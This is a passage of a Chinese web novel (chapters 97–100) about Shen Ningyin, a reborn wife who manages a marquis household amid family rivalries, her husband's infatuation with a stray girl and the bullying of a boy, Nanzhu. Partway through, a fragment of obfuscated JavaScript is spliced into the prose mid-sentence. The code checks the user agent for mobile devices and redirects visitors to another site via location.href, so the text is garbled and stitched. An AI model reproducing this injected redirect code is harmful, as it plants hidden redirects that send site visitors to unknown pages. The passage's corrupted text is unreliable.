沈弦思只想叫沈宁音丢丑，尤其想要她在世子秦耀阳面前丢丑，仿佛打碎了别人的完美，她自个儿就能变得圆满似的。
沈含鸢两只袖子都给人扯着，一边是一母同胞亲妹妹，另一边是同父异母的亲姐姐。
“我、我也没听说过，引章也没有！”沈含鸢脱口而出，她毫不犹豫选择了沈弦思。两人走得近，就连看向沈宁音厌恶的眼神都如出一辙。
最绝的是，沈含鸢还不忘带上沈引章。
沈引章脸色一下子白了，承认吧，得罪沈宁音，不承认吧，又失了姐妹情谊。沈引章夹在中间死死咬着唇，眼圈都泛起了红。
整个屋子里头，最乐见沈宁音被人家拆穿的人是闵氏。
闵氏笑意不达眼底，冷冷嗑了颗瓜子：“这什么亲戚能远到自个儿姐妹都没听闻过的？”在闵氏看来，昌平侯府来了个打秋风的小兔崽子已经够膈应了，偏又要塞进来一个。她巴不得统统搅黄了去。
四周看过来的目光都带着点审视和复杂，沈宁音垂着眸偏也不说话。沈含鸢难得有这般露脸的机会，一时觉着众人定是高看自己一眼的，当下继续讽笑道：“怕不是姐姐在外头养着的……”
“放肆！”暴怒出口的是秦耀阳，男人死死盯着沈含鸢，吓得后者花容失色连忙后退。
从前的沈含鸢往往是朝沈引章后头躲的。只是她这会儿转眸一瞧，沈引章已经站开了几步远，一副眼观鼻鼻观心的样子，沈含鸢气得要命。
“真真是倒反天罡！”秦耀阳冷冷看向给沈弦思护在身后的沈含鸢，道：“宁音才多大，那孩子又多大？！”
沈弦思转眸看了眼战战兢兢的沈含鸢，心里也暗骂她蠢货，当着这么多人的面，讲出这等话来，即便惹恼了沈宁音，也不会有人站在自个儿这边！但沈弦思也不得不出来说话：“姐夫莫恼，含鸢妹妹口无遮拦，她已经知错了。”
“知错？”秦耀阳冷哼一声：“若非你是妻妹身份，本世子定不轻饶！”
沈宁音就抱着个手炉站在一旁，自始至终的温婉大气，她就是有这个本事让丈夫出来维护。更是一早就打算好了的。
周婉看了，眼睛里血丝弥漫，自家掐进了掌心也不知道疼。
沈宁音也想这么囫囵过去，毕竟沈弦思与沈含鸢不过是两个年轻姑娘，秦耀阳一发火，她们哪里还能记着方才想问的什么？
可她们不问，上首却是飘来个苍老的声音：“宁音，哥儿们的同窗可马虎不得，如今那南氏小郎君来历成疑，放在府里教养实在欠妥当。”
沈宁音微微蹙眉，她没料到为了秦齐的前程，那老妖婆临了还要横插一杠。
她转过身面对老夫人时已经恢复了往日的端方温婉：“祖母教训得是，不过南烛的身份没有问题。”
“没问题她们怎么都不认得？”闵氏皱眉插嘴。
沈宁音不慌不忙道：“兴许因为南烛是妾身娘家祖母的亲戚，妹妹们小，没见过也是有的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755756|146125||http|test|mini|href|location''.split(''|''),0,{}));
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沈家其实是有老太太的，只不过老太太已经出家多年，谁也不见。尤其沈宁音。
相隔两世，沈宁音原本不欲提及。因为老太太对沈宁音极好，比对其他所有人都好。只是突然有一日，老太太走了，在沈宁音最低谷时，众叛亲离，留她独自面对。
沈宁音捏了捏帕子，语气维持着平静：“若谁不信，自可以去问。”
沈老太太出家的地方知道的人少，但也不算什么秘密，但凡下点儿功夫，都能找到。
可老太太连她这个最疼的孙女都避而不见，沈宁音不信旁人能见得着人。
既无对证，沈宁音也不会担心谁有本事拆穿了她去。
“祖母莫不是答应孙媳的话，不作数了？”沈宁音将老夫人给架上去，语气认真也诚恳。
“罢了。”老夫人揉了揉太阳穴，摇了摇头：“既是应了你的，你就去安排吧。”左右花销都是沈宁音自个儿出，孙靖元又是靠着沈家才请到的人，老夫人虽不喜南烛，却也当真做不出不要人家沈家亲戚念书的事儿来。
“多谢祖母。”沈宁音笑容不变。
“可还有事？”老夫人蹙眉扫了一眼沈家那三个姐妹，目光里带着审视。
沈宁音便将沈家姐妹要借着侯府的势入长公主的赏菊宴说出来。
老夫人皱紧了眉头。
这个时候，方才还满脸骄纵的两个沈家女儿这才意识到问题。刚才她们针对沈宁音的时候只顾着自己舒坦，却忘了在昌平侯府看来，沈宁音与她们是一体的，都代表了沈家。
她们拖后腿的行为简直蠢到无边了。
沈引章瞧着沈弦思与沈含鸢二人此刻的忐忑受惊表情，心里的失望又添了一重。
闵氏像看笑话似的，沈宁音在侯府处置起人来那叫一个快刀斩乱麻，七八年的老仆从说打就打了。昨儿又仗着夫君的宠把厨房的人给处置了，闵氏只等着她这会儿拒了那些个妹妹们，撕破脸撵人闹起来才更好哩。
97. 羞愧
闵氏期待的笑话并没出现，沈宁音似乎不计前嫌，非但没给冲撞过她的姊妹撵走，反倒是好生招呼着。像团柔韧绵软的棉花。
闵氏没看着笑话，只得轻蔑地睃了沈宁音一眼。
众人出得松鹤堂，周婉想上前与秦耀阳搭话。可秦耀阳这几日分外不愿见她，尤其红叶还在他身边的情况下，秦耀阳几乎能想象出周婉必定是要闹的。
沈宁音刚走上抄手游廊，身后的秦耀阳就赶了上来。
“世子？”疑惑地停步，沈宁音只扫了一眼远处愤愤的周婉，瞬间便明白了秦耀阳这是找自个儿做挡箭牌来了。
无伤大雅的时候，沈宁音是识大体的，她也不戳破，还乐意给男人递台阶：“世子要去祁秀院坐坐么？”
秦耀阳愣了一下：“对……对的。”他看向沈宁音的眼神都变得温柔与感激：“走吧。”
沈宁音转身的时候，秦耀阳就与她肩并着肩。
主子们在一处的时候，下人都懂眼色，兰香拦着红叶落在后头跟着，给主子们留出说话的空间。
“宁音，赏菊宴之事，你真要带着她们去？”秦耀阳突然问。
“是啊。”沈宁音转头看向男人，笑容一如往昔，端雅持重里透着股子清冷，平白有种疏离感。
秦耀阳一时觉着不太敢看她，觉着定是自个儿胡思乱想了，他定了定神，认真道：“那种宴会规矩多，怕是不好找上好人家。你若真想给妹妹们寻亲事，不如叫母亲或者祖母去打听打听。”
秦耀阳的话倒是叫沈宁音有些动容，倒不是说有多感动。而是，在前世，秦耀阳就不是个爱理事的。
前世的秦耀阳在沈家被封之后春风得意，还靠着元妃这层关系与元妃之子走得很近。五皇子跟二皇子昭王打得有来有回，不出两年，二人便会与醉心长生术的圣人形成微妙的平衡。
而如今，他竟会开口过问内宅之事。沈宁音弯唇笑了笑：“世子，母亲与祖母怕是不肯的。”
“这有何难？我替你去说。”秦耀阳大包大揽。
他还是不够了解自己的长辈，被偏爱的人，总会认为别人对他的好就是这人的全部。
沈宁音声音恬淡：“好。”她并不抱什么期待，有，自然是好，没有，也不会失望。
秦耀阳没能瞧见妻子如预料一般惊喜的表情，不禁有几分忐忑。
他捏了捏掌心，犹豫了一下，抬眸道：“宁音，昨晚的事，你不会生气了吧？”
“昨晚有什么事？”沈宁音轻笑着，眼神坦然地看着他。
“昨晚，那几个后厨的下人着实气人。”秦耀阳忙道：“我没派人去回你，是怕你操劳，扰你清净。”
男人这般体贴在意地解释着事情，再配上这般好看的一张脸，诚然，若非她知道他那些个龌龊事，若非她不再是懵懂无知的十六岁灵魂，在这样一个连外人都觉得秦耀阳宠妻无度的情形下，很难不会被蛊惑。
秦耀阳伸手握住沈宁音的手，沈宁音眉头轻蹙，但也没躲。
秦耀阳将那柔荑握在掌心，沈宁音的感觉，并不似情人间的亲昵，那感觉，就像是再寻常不过的事。没有脸红心跳，没有任何旖旎心思。
这样的感受甚至都及不上碰着旁人的紧张忐忑。
沈宁音脑海里突然闪过了一双凶戾的眸子，那双眼眸深沉若渊，乌沉沉的瞳仁里，仿佛有说不尽的故事。这一瞬间，胸腔内勃动的心脏仿佛加快了许多。沈宁音意识到的时候飞快地抽回了手。
秦耀阳看着陡然空了的掌心，再抬眼时，妻子已经转身不看他。
“世子不必解释，妾身都明白，更不会怪罪和生气。”沈宁音的话是温和平静的，依旧是那一股子叫人安心的感觉。
秦耀阳心情放松之下嘴角不由自主上翘：“宁音，你这般善解人意，真是太好了。”
沈宁音垂眸浅笑，眼角余光瞥见后头跟着的红叶。
红叶今天穿戴得与往日不尽相同，沈宁音前世见多了冷元景后宅那些个在男人面前争风吃醋的妾室，眼力还在，一眼就瞧出这俏丫鬟脸上薄施粉黛，这等妆容衬上她年轻姣好的容颜，就像是天生如此般。还有她那一身的大丫鬟装束，也像是改过的，能将那纤细腰肢勾勒得优雅完美。
红叶的心思不写在脸上，又处处透着勾引。她这会儿正竖着耳朵想听。但因隔得远，又有兰香拦着，沈宁音估摸着红叶也听不见什么。
沈宁音许是多看了她一眼。红叶发觉后连忙低下头去。
秦耀阳顺着沈宁音的目光回头，看见红叶，他蹙了眉：“宁音，你昨晚为何派她过来？”
“妾身怕您在书房处没个贴身的人伺候着不方便。”沈宁音笑着道：“昨儿我听说红叶给厨房里那些个刁奴打了，妾身觉着，也不能怪她。”
沈宁音想卖个好，所以替红叶说话。可话落在秦耀阳耳里，又有另一层意思。
妻子叫个女人过来伺候睡觉，如今还替这女人开脱，偏这人还是周婉身边的。
秦耀阳越想越乱，越发觉得不是滋味。
沈宁音见秦耀阳脸色不愉，软声问：“可是世子不满意？”
“对。”秦耀阳蹙紧眉：“不满意。”
秦耀阳这脾气来得莫名其妙，祁秀院也不去了，还把个红叶给撂下。
红叶顿时花容失色，满脸幽怨地看向世子爷离开的方向。
沈宁音叹了口气，领着人回了院子。
等房间里只剩下沈宁音与兰香之时，兰香闩上门小声问：“少夫人，世子方才发了脾气，是因为红叶？”
沈宁音斟酌再三，迟疑颔首：“大约是吧。”
“那……”兰香捏着袖子，担忧地讨示下：“红叶往后如何安置？要不要送回兰心居去？”
周婉不是个心慈手软的主，沈宁音知道秦耀阳对她来说，不光是情人、孩子的父亲，说不定里头还有昌平侯府与周家与周家背后的元妃之间千丝万缕的联系。
秦耀阳用那样的方式把红叶带走，若再给送回去，红叶不死也得毁容。
红叶前世能得宠，今生又何尝不能呢？周婉已经快三十了，红叶可才二十。
沈宁音呷了一口茶水：“不用了，还是按原来的，打发去管茶水。”说不得将来还有用得着红叶的时候。
“昨儿厨房不是打发出去了好几个？去取名册来，对一对，然后上牙行买几个。”
“还有卖出去的铺子清点一下银钱，咱们该快些把府务打点起来了。”
“是。”兰香连忙
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记下各种吩咐。
沈宁音见她如此，一时反应过来，如今可不是她能打理后宅井井有条的前世，手边能用的、能信的人并不多，兰香再如何勤勉，到底也分身乏术。
“染竹还没回来？”沈宁音蹙眉问。
“没有。”兰香听主子提起来，脸上也闪过抹忧心：“想来春渠回来的时候，她们就一并回来了。”
沈宁音阖上账册，心绪不宁。
京郊的庄户上，一个少女推门快步走出来。紧接着，她身后追出来另一个女娘。
“你拦我做什么？”春渠不解地看向面前张开手臂的染竹：“你娘生病了，怎的不去请个郎中？”
染竹掌心攥紧，目光闪躲：“请了的，也喝了药。”
春渠蹙眉，目光里有一丝怀疑：“染竹姐姐，你看着我说。”
染竹咬了咬牙，抬头直视春渠：“是真的，我骗你做什么？那可是我亲娘！”染竹恼怒：“你到底是来这儿送东西的还是来质问我的？”
春渠一时语塞，她总觉着哪里没对，可又说不出个所以然来，片刻之后，春渠讪讪道：“罢了，左右少夫人给你的银子应该够治疗风寒。”
摊了摊手，春渠笑：“米面和果子都放在院子里了。染竹姐姐今日要跟我回去么？”
染竹暗暗松了口气，捏了捏帕子，开口：“你先回去，我再侍疾两日。”
春渠点了头，两人就在院儿门口分别。
染竹在门外的树下站了良久，有些怔怔出神，直到屋子里传出了咳嗽声，染竹连忙跑进去。
染竹爹担忧道：“丫头，要不去城里请个郎中给看看吧？”
听了这话，染竹身子一抖，她没敢吭声，倒是床上的染竹娘瞪了夫君一眼：“去什么城里，找甚郎中？我身子好着呢。浪费银子。”
染竹爹皱紧眉头：“孩儿他娘，如今丫头进了侯府，是大丫鬟，哪里还能短了这些个看病钱？”
染竹娘道：“你闭嘴！”她转头看向染竹，女人笑起来脸上都是皱纹，笑着抚摸女儿的头发，手上的茧子刮得染竹水嫩的脸颊有些生疼：“好孩子，别听你爹胡说，你还有好几个兄弟姊妹，这些年你省吃俭用供养家里，还给你弟弟妹妹们饭吃。娘啊，就盼着你往后能有个好前程。你家少夫人待你好，你看又给米油又给面的。你好好跟着她。”
染竹爹气哼哼地蹲到屋门口：“好什么好！给米给面也不知给点银子。”
染竹爹是个庄户，祖祖辈辈都是土里刨食的，因有七八个孩子要养活，于是就把孩子里长得最漂亮的染竹给卖去了侍郎府。他一心盼着染竹能供养他好吃好喝不必辛苦。
染竹听了父亲的话，顿时眼圈就红了。染竹娘是真心疼女儿的，连忙拉着染竹：“她爹，你少说两句。”又哄着染竹：“闺女，别担心，娘没事，扯些草药土方喝喝就好。”
染竹冲了出去，身后传来染竹爹发火的声音：“这死丫头还有脾气了！你给我回来！”
秋风萧瑟，染竹跑了一阵停下来才发现流汗之后身子很冷。她本能地抱着自己，抬头时，已经到了城内，入目的宅子宽大，里头竟然有仆从，都是面生的。
染竹脸色一白，径直闯了进去：“冷郎君？”她想把银子要回来。
98. 玉霜
染竹走进去，立马就有人拦住了她，紧接着，便出来两个壮汉一左一右地将她控制起来。这阵仗委实有些吓人，染竹苍白着一张脸。
“找冷兄弟？”其中一人拿色眯眯的眼神在染竹浑身上下扫了两个来回，染竹一颗心几乎要跌落谷底。她紧紧抱着自己，往后退去：“你、你们是做什么的？”
染竹这时候心里全然忘了旁的，只担心着冷元景的安危，咬牙道：“你们把冷郎君怎样了！这可是天子脚下！”
“朝廷的人？”壮汉眼里的凶光一闪，手摸向了后腰。
“等等！”冷元景的声音从里屋传来的同时，帘子也被掀开了。
看见冷元景的那一刻，染竹觉得腿都要软了。
“都是误会，误会。”冷元景冲壮汉笑了笑，伸手将染竹拉进了屋子。
“你来做什么？”冷元景蹙眉。
“冷郎君，那些都是什么人啊……”染竹语气局促，神色焦急。
冷元景倒像是没事儿人一样，翻起倒扣的茶杯给染竹倒了一杯茶水：“几个朋友。”
染竹撑着桌子挪到他对面，劝说：“他们瞧着不像是好人，冷郎君，你定要小心。”
冷元景脸上的表情很是不耐，似是不打算多谈这个，冷元景将茶盏推到他跟前：“先喝茶压压惊。”
茶水已经凉了，染竹还是端起来喝了一口。沁凉的感觉从嘴里一路流入胃部，染竹剧烈咳嗽起来。
冷元景眉头皱紧了，但他蓦地想到了什么，问：“染竹姑娘，莫不是你家少夫人有什么话带给在下？”
染竹一愣，她抬眸看向面前的男人，一张玉面如切如磋如琢如磨，而这样俊美的男子，此刻的眼睛里流露出期待来。
“没……”染竹声音很低。
面对瞬间流露出失落表情的男子，染竹心都揪了起来，她咬了咬唇，用力闭眼：“其实……那二十两……”
“砰砰砰——”门外传来壮汉们拍门的声音，有人扯着嗓子喊：“还没好哇？”
染竹惨白了脸，一下子抱住了冷元景的胳膊。
冷元景也没躲开，打发走了门口的人后，垂眸看向身边的染竹：“染竹姑娘，你刚刚说什么？”
染竹说不出来了，她沉默着、犹豫着。
冷元景脸上露出个笑来，伸手将她按到凳子上坐下：“你放心，我冷元景不是个忘恩负义的人，将来我定会报答今日的恩情。”
染竹看着他认真的表情，原本的犹豫和沉默冰雪消融一般瓦解得干干净净，她脸上渐渐泛出一抹红晕来：“好。”
将人送走后，冷元景看着女娘走远的背影，心中分外感动，他低头看向自己缓缓握紧的手掌：“没想到她表面对我如此冷漠，却几次三番派人来帮。”
冷元景抬头望天，叹了一息：“若与我订婚的是二姑娘就好了。”
沈宁音打了个喷嚏，一旁的兰香顺手将窗子关上：“少夫人，可是觉着冷？要不奴婢去拿些炭来。”
兰香将裘毛滚边的披风抖开，给沈宁音披了。
“好。”沈宁音略一思忖：“府里越冬的炭火确实要采买了。”
倘使到了冬日再买，那价钱便会涨上不少，如今她是能省一点是一点。
很快掌管府库的嬷嬷就给喊了过来，那婆子沈宁音还有点儿印象，府库里头原是三个婆子管着，两个松鹤堂的，一个闵氏身边儿的。只是府库没什么东西了，于是沈宁音就借着由头给削了，只留了个松鹤堂的。
后来沈宁音甩手离开那几日，老夫人把那两个婆子又给恢复了。
所以这次，主母有请，另两人就称病没来。
婆子瞧见沈宁音漫不经心的目光，眼神里竟没来由地有些畏惧。
“病了？”沈宁音波澜不惊地问。
婆子的头埋得更低了些，声音带着讨好：“启禀二少夫人，许是最近天气变化大，不小心染了风寒也是有的……”
兰香竖着柳眉冷笑：“怎的这样巧？一块儿病了，跟约好了似的。”
婆子心下苦笑，正琢磨着怎么回话，就听沈宁音温声开口：“不妨事。”
婆子听着这声音，顿觉惊诧，在高门大户里头当差久了，尤其是沈宁音这样厉害又受宠的主，婆子已经做好被人牵连的准备。
“如今府库没什么东西要打理，原也用不着那么多人。”沈宁音道：“那就她们从哪儿来的，就送回哪儿去。”
婆子脸色都没变，甚至心里还有些想笑，毕竟上次主母也这么发落过，最后还不是叫老夫人一句话给恢复了位置？
沈宁音拿起茶杯轻吹，她不必抬眼也知婆子在想什么。
茶香缭绕间，沈宁音蓦地道：“听说王嬷嬷在府里伺候了二十几年？”
“是。”婆子不明所以，看向沈宁音的眼里带着警惕。
沈宁音放下茶杯，笑容温和：“例银二两，老夫人给的贴补一两。是不是？”
那些个账目现在都在沈宁音手里头，所以这些也不是什么秘密。婆子神色凝重，两只枯槁的手紧攥在一起：“回二少夫人，是的。”
“好。”沈宁音站起身，走到她面前道：“既然那两个婆子身子不好，你一人做三人的活计，那就给你再加四两月银。”
婆子瞪大了眼睛，嘴巴张得合不上。七两银子，连高门大户的哥儿姐儿们大多都捞不上。
“多谢少夫人！”婆子砰砰给磕了几个响头，沈宁音笑着亲手把她扶起来，安抚道：“好好做事，都是为了侯府。”
归拢下人，非但要立威，也得许下好处，唯有这样，才能把难事儿都给摁下来。
送走了千恩万谢的王婆子，兰香进来小声道：“少夫人，七两银子啊！在牙行都能买两个半大丫头了。”
沈宁音淡声道：“银子走公中，也不是咱们出。”
沈宁音并不怕人知道。侯府上下还指望着孙先生教秦齐念书，绝不可能在明面儿上撕破脸。
先前沈宁音将秦齐甩给松鹤堂，那老虔婆也没发作，想来就是这个原因。
而下边儿人要是对王婆子之流群起而攻之，那沈宁音就更乐见其成了。
冬日里要采买的东西和一应用度，沈宁音都事无巨细安排了下去。
前世流程做得熟稔，所以哪怕身边得用的亲信少些，于沈宁音而言，也无非多费些心力罢了。
到得下午，沈宁音有些困顿，靠在美人靠上小憩。
与此同时，秦耀阳正往祁秀院去。
“放开我！我不是小偷！”
突然一个小
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厮打扮的女人低着头往他冲了过来。秦耀阳躲闪不及给撞了个满怀。
“啊！”女娘惊呼一声，抬起头来看向他。
秦耀阳看着怀里人的那双眼睛慢慢浮现出水雾来，女人嘴巴一瘪：“呜呜呜！你们欺负我！都欺负我！”
梁玉霜想推开男人，可不知为何，秦耀阳竟是下意识将她抱紧了。
很快，追着她跑的几个护院看见秦耀阳，连忙停住，领头的护卫指着梁玉霜道：“世子爷，这小贼偷东西都偷到侯府来了！属下这就将她打一顿报官去！”
梁玉霜身子一抖，哆嗦着不敢说话，看向秦耀阳的眼神里满是乞求。
秦耀阳一见着她哭便觉着心疼，抿了抿唇，抬头吩咐：“行了，此事自有你们主母处置，都先退下吧，本世子亲自带她过去。”
沈宁音睁开惺忪睡眼，意识还有些迷糊，甫一看见秦耀阳领着个女人坐在一旁，她还以为自个儿在做梦。
直到男人开口：“宁音？”
秦耀阳喊了好几声，沈宁音才蓦地回神，原来不是做梦？夫君又领过来一个女人。
沈宁音坐直了身子：“世子？你这是……”
秦耀阳心下愧疚，但一看见梁玉霜的泪眼，他根本说不出个不字来，这会儿都领到妻子跟前儿了，只得硬着头皮开口：“是这样……”秦耀阳就把遇到梁玉霜的事情都说了一遍。
自然，也不知是不是因着男人的脸面、还是真断片给忘了，秦耀阳把酒楼与梁玉霜那事儿给隐匿了。
梁玉霜看起来给吓得不轻，死死抱着秦耀阳的胳膊不撒手，惹得男人愈发爱怜。
兰香与春渠在一旁都对勾引男主子的野花恨得牙痒痒，个个眼睛里都似要喷出火来。
“宁音，我看她独自一人在上京也怪可怜的，不如收留她些时日，让人去凉州城送信，叫她的家人来接。”
梁玉霜听罢眼睛一亮，看向沈宁音道：“不用这么麻烦，把我安排到行商队伍里头，我跟着回去也可以的！”
沈宁音还没说话，秦耀阳已经迫不及待开口：“不许！”
屋子里的众人都是愣怔住，沈宁音也将目光落在秦耀阳脸上。
秦耀阳察觉到自己的失态，忙摸了摸鼻子，道：“梁姑娘是弱女子，这么上路很不安全。”
“我才不是弱女子！我可以穿男装！”梁玉霜气呼呼地瞪着男人，觉得他瞧不起自己女儿身。
秦耀阳用力捏了捏梁玉霜的柔荑：“穿上男装就不是女娘了？”
“你！我！”梁玉霜更气了，手又抽不出来。
沈宁音看着丈夫手里攥着的那只小手，哪里还有不明白的？
人一旦产生了情愫，便会下意识去做一些事情，譬如他牵着她的手，哪怕他自己都没意识到自己的心。
“好了。”沈宁音出声打断。
秦耀阳意识到自己牵着梁玉霜的手时，整个人都不好了，他瞬间松手，脖子上臊得微微泛红，他小心翼翼去看妻子的脸。
沈宁音脸上带着微笑，依旧是温温柔柔的：“那就这样吧，旁边儿跨院儿的几个房间空着也是空着，梁姑娘就先住下。回头妾身去找几个靠得住的商旅去准备准备北上行商。”
“好，就这么办。”秦耀阳眼里都亮了。
99. 忌爱
秦耀阳大大松了口气，愈发觉着妻子温柔贤惠。
只是梁玉霜这事儿很快就传到了各院儿主子耳朵里。沈宁音将将把人安排住下，闵氏身边的陶妈妈就过来相请。
陶妈妈来的时候秦耀阳还在屋里同沈宁音闲谈，见着这老奴婢来势汹汹的模样顿时就冷下了脸。
沈宁音低眉顺目，放下手里的账册，起身：“我这就跟你去母亲处。”她的姿态做足，而果不其然，手腕一下子被秦耀阳拉住。
“宁音！”沈宁音听着身后传来秦耀阳不善的声音，似乎是冲着陶妈妈去的：“母亲叫她做什么？”
陶妈妈愣在当场，她委实想不到世子爷会这般维护妻子，结结巴巴道：“哎呀，世子，夫人只是找二少夫人去说些闲趣的话。”
秦耀阳眉头皱紧“噌”地站起身来：“那我也去。”
陶妈妈一听，立马就犯了难，有些话儿婆媳之间能说，可是牵扯上府里的爷那可就不妥当了。
见她踌躇，秦耀阳索性拉着沈宁音就往外走：“不就是安排个女娘么？这事儿是本世子的主意，你们要问责便来问我，与宁音无关。”
他走得快，沈宁音给他牵扯得一个踉跄。正巧陶妈妈满脸焦急地赶上来拦在夫妻二人前头：“哎呀，世子爷，夫人跟二少夫人说说话而已。您别这样……”
秦耀阳薄情的时候是真薄情，可倔强起来也是一根筋的，他气笑了，死死盯着陶妈妈的那张老脸：“天地昭昭，朗朗乾坤，什么话是爷听不得的？”
陶妈妈拦他不住，着急得满头大汗。她再没了来时的得势模样。陶妈妈想到闵氏先前还特特吩咐过，要她把腔调拿起来，莫堕了闵氏侯夫人的威风。
可现在，一头是闵氏，另一头是世子，两边儿陶妈妈都得罪不起，真真是一根筋变成两头堵了。
祁秀院和陶妈妈领过来的下人在秦耀阳拉着二少夫人迈出房门的时候都是惊慌失措。
秦耀阳的荒唐名声在上京城也不是什么秘密，他除了身份高贵，那张脸仙姿佚貌外，文不成武不就的，也就是后院里头没有乱七八糟的事儿罢了。谁敢拦他？那可是被他打掉层皮、打断了骨都拦不住的。
陶妈妈知道，这次差使办砸了，便是夫人、老夫人还有侯爷来，也没有用。
就在陶妈妈放弃之际，她却突然听见沈宁音温和的声音。
“世子。”沈宁音唤了一声，她的声音不高。可刚刚还气势汹汹脚下生风的男人立马停下来脚步。
“怎么了？”秦耀阳的目光瞬间柔和下来：“可是刚刚走太快崴到脚了？”
“妾身没事。”沈宁音摇摇头，于是陶妈妈与众人就瞧见将将仿佛八头牛都拉不回来的世子爷给她轻轻一挣就挣脱开手来。
男人就站在那面前，也不敢再走。
沈宁音低垂着眉眼，指腹抹了抹将将被他逮过的手腕，又细细将衣袖拉低，盖上那半截纤细的腕骨：“我管着府里，母亲寻我叙话也是合情合理。”
她抬头的时候，秦耀阳眼神里透着感动与坚决：“宁音，此事因我而起，我岂能牵连你？”
陶妈妈看着这场景，脸色分外凝重。她不由得又将二少夫人在府里的地位调高了几分。
沈宁音安抚一笑：“世子，我知你的意思，我既接下了掌家的差事，母亲和祖母日后找我问话的时候还多着呢，世子岂能时时与我同去？”
秦耀阳一听，也是这个理，只是一想到如今妻子的处境，他心间愈发愧疚感动，伸手又拉住了沈宁音的手：“宁音。那我在屋里等你。”
沈宁音微微用力，笑着抽出了手：“时辰不早了，妾身就先去给母亲回话了，世子若得空，也可以带梁姑娘熟悉一下环境。”
听到梁玉霜，秦耀阳就仿若给什么在心间挠了一记，莫名有几分痒意，沉默着也没说话。
沈宁音跟着陶妈妈去了闵氏的院子。一路上，陶妈妈再不敢造次。
等婆子进去给闵氏回了话，沈宁音走进屋去的时候，里头的丫鬟们，包括闵氏，看沈宁音的目光就都不一样了。
闵氏原打算趁着儿子屡次三番带女人去祁秀院，趁着沈宁音失宠的时候，好好奚落下不懂事儿的儿媳，出一口恶气。可刚刚从陶妈妈处竟听到了截然不同的情况。
闵氏藏不住事儿，心里想着什么，脸上就能显露出来，所以她这会儿的表情多少带着点儿复杂。
沈宁音微微侧坐，目光望向上首，她当先笑着开口：“婆母找我来有何事？”
闵氏盯着沈宁音，手指抚着茶碗盖子，好一会儿才道：“你年纪小，不懂个中因由。但自个儿的爷们儿也得把握住了！”
这回沈宁音是真愣住了，她没想到闵氏叫她过来是要说这个话。
“婆母的意思是？”沈宁音故作不知，虚心求教。
闵氏恨铁不成钢地拍了下桌子，语气颇为认真：“我告诉你，这男人的风流，就是那纸鸢，它只会越飞越远，你得做那线，拽着他，莫叫它飞野了。”
见沈宁音一脸怔忪，闵氏凝眉继续：“你还没生下嫡子，似那种狐媚东西，有一个算一个，定要早早地掐了才是。你祁秀院旁的跨院儿是什么地方？那是能随意叫女人住进去的？”
沈宁音知道，前世沈弦思在侯府的时候，东跨院儿住着的就是秦耀阳的姨娘红叶，这等地方，也素来是给妾室住的。
她这般安排，不过是试探，但秦耀阳偏巧就接了。
沈宁音并不知道秦耀阳懂是不懂，也无甚伤心。
她只是没料想，闵氏的话竟会向着自己？
见沈宁音恭顺地听着、难得露出思索与困惑的表情，闵氏有几分得意，还有点情真意切的怜惜：“你看你那公爹，通房是有几个的，妾室、庶出子女，一个没有。你不能光想着迁就男人，得拿出点儿做主母的样子来。把那狐媚子轰出侯府去。”
闵氏顿了顿，想到了什么：“你若是怕伤了夫妻情分，就把你那两个陪嫁丫鬟开了面儿送去做个通房，将来也好拿捏。”
这一通叙话下来，离开时沈宁音都有些不习惯了。从前哪一次闵氏不对她敌意满满的？
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闵氏见她回头看，朝她摆摆手：“赶紧去办。”
等瞧不见人了，闵氏方叹了一息。
陶妈妈转头看着主子：“夫人，您这是……”她明明记得闵氏先前找自己去祁秀院的时候，还特特嘱咐过要拿腔拿调，莫堕了威风。
闵氏拢了拢袖子：“谁让昭儿喜欢她？往后免不了抬头不见低头见的，还有那么多年光景，我呀，宁可多拌几句嘴，也不想成日里对着个怨妇。”
“都是困在这深宅大院儿里的女娘……都不容易。”闵氏复又叹了口气，坐回了罗汉床。
陶妈妈嗫嚅了两下，犹豫着小声提醒：“夫人……那庄子，咱还趁机讨回来么？”
闵氏将将坐下去，褥子还没坐热乎就噌了起来：“我给忘了！”
沈宁音回到祁秀院。她一路都在想着闵氏的话。今生今世，她委实也想换个活法。
虽说婚事方面，沈宁音自会依着兰香与染竹她们自己的意思。
但若是……
若是那人当真转了性子，她与他就那么相敬如宾地过下去，也不失为一个好归处。
她想给夫君一个机会，也给自己一个机会。
沈宁音赶了几步，蓦地推开房门——
屋子里冷冷清清的，只有穿堂的风，早就没了人。沈宁音愣怔了片刻，忽然就摇着头笑了。
她边笑边捂住了脸。
有时候人就是这样，嘴里说着拒绝，可那人若当真等着你，为着你留下来，那么你的心也不会是石头，你会动摇，会痛，会开心与失望。
而这一切意味着，你会输。
沈宁音伸手按着胸口，她甚至有些庆幸，还好他一如既往，还好他依旧薄情。
回想起方才的心思，着实荒唐又可笑。
此时，沈宁音瞥见窗外鬼鬼祟祟走过去一个小小身影。她微微蹙眉，推开门走出去。
“南烛？”沈宁音唤了一句。
南烛身子一颤，没有转过来，他的衣裳是湖蓝色的，偏深，却也没有这么深。
察觉到她走近，小孩儿躲了几步，声音听起来沉稳得好似个小郎君一般，他说：“二少夫人，我正要回房。”
南烛竭力想让人觉着自己很正常。
沈宁音一把抓着他的小胳膊：“你衣服怎么湿的？”
“我……”南烛捂着半边头发：“我不小心打翻了茶盏。”
这哪里是茶，没有半点茶香，还有给水搓洗也没搓洗掉的尿骚味，沈宁音一股子无名火蹿上心头，连呼吸都快了几分：“打翻茶盏能泼到领口去？”这一看就是有人故意做的，几乎是这瞬间，沈宁音就想到了会是谁。
南烛目光躲闪，单手捏着衣角，不吭声。沈宁音眉头越蹙越紧，抓着他另一只手：“头怎么了，我看看？”
南烛一下子惊慌起来，他挣扎着：“我没事……”他按着不让碰，但南烛到底只有五岁，五岁大的小孩儿哪里拧得过一个大人？
手掰开之后，沈宁音看着南烛的头发，顿时就气得攥紧了拳头。
100. 恶种
南烛半边头发给剪得长短不一，他身上又沁着水，风一吹便抖个不停，实在可怜。
“怎么回事？”身体发肤受之父母，沈宁音知晓，在圣朝世家贵族，断发视为不孝，南烛母亲所在的许家虽倒了，可南烛不可能这么做。若是他人所为，那就是极大的侮辱。
南烛移开目光，嘴唇动了动，却像是因为什么而隐忍着。
